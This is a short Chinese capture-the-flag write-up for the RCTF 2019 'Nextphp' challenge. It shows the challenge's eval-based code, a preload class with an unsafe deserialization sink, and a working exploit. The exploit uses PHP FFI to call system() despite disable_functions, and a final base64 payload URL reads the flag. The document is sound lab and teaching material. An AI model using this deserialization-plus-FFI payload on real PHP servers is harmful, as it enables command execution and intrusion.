来看buuctf上的一道题
[RCTF 2019]Nextphp
上来给了一个RCE的代码
<?php
if (isset($_GET['a'])) {eval($_GET['a']);
} else {show_source(__FILE__);
}
phpinfo一看发现存在disable_functions,蚁剑插件过不去,上去一看存在preload.php,这是php7.4引入的新特性,运行web程序之前会将preload文件先加载到内存中
<?php
final class A implements Serializable {protected $data = ['ret' => null,'func' => 'print_r','arg' => '1'];private function run () {$this->data['ret'] = $this->data['func']($this->data['arg']);}public function __serialize(): array {return $this->data;}public function __unserialize(array $data) {array_merge($this->data, $data);$this->run();}public function serialize (): string {return serialize($this->data);}public function unserialize($payload) {$this->data = unserialize($payload);$this->run();}public function __get ($key) {return $this->data[$key];}public function __set ($key, $value) {throw new \Exception('No implemented');}public function __construct () {throw new \Exception('No implemented');}
}
通过run()来构造FFI函数FFI::cdef("int system(char* command);");
->获取C语言的system函数->unserialize获取命令执行函数->命令执行无回显,写入文件
<?php
final class A implements Serializable {protected $data = ['ret' => null,'func' => 'FFI::cdef','arg' => 'int system(char *command);'];private function run () {echo "run<br>";$this->data['ret'] = $this->data['func']($this->data['arg']);}public function serialize (): string {return serialize($this->data);}public function unserialize($payload) {$this->data = unserialize($payload);$this->run();}public function __get ($key) {return $this->data[$key];}public function __set ($key, $value) {throw new \Exception('No implemented');}public function __construct () {return;}
}$a = new A();
echo base64_encode(serialize($a)); // 即payload
payload为/?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('cat%20/flag>/var/www/html/1.txt');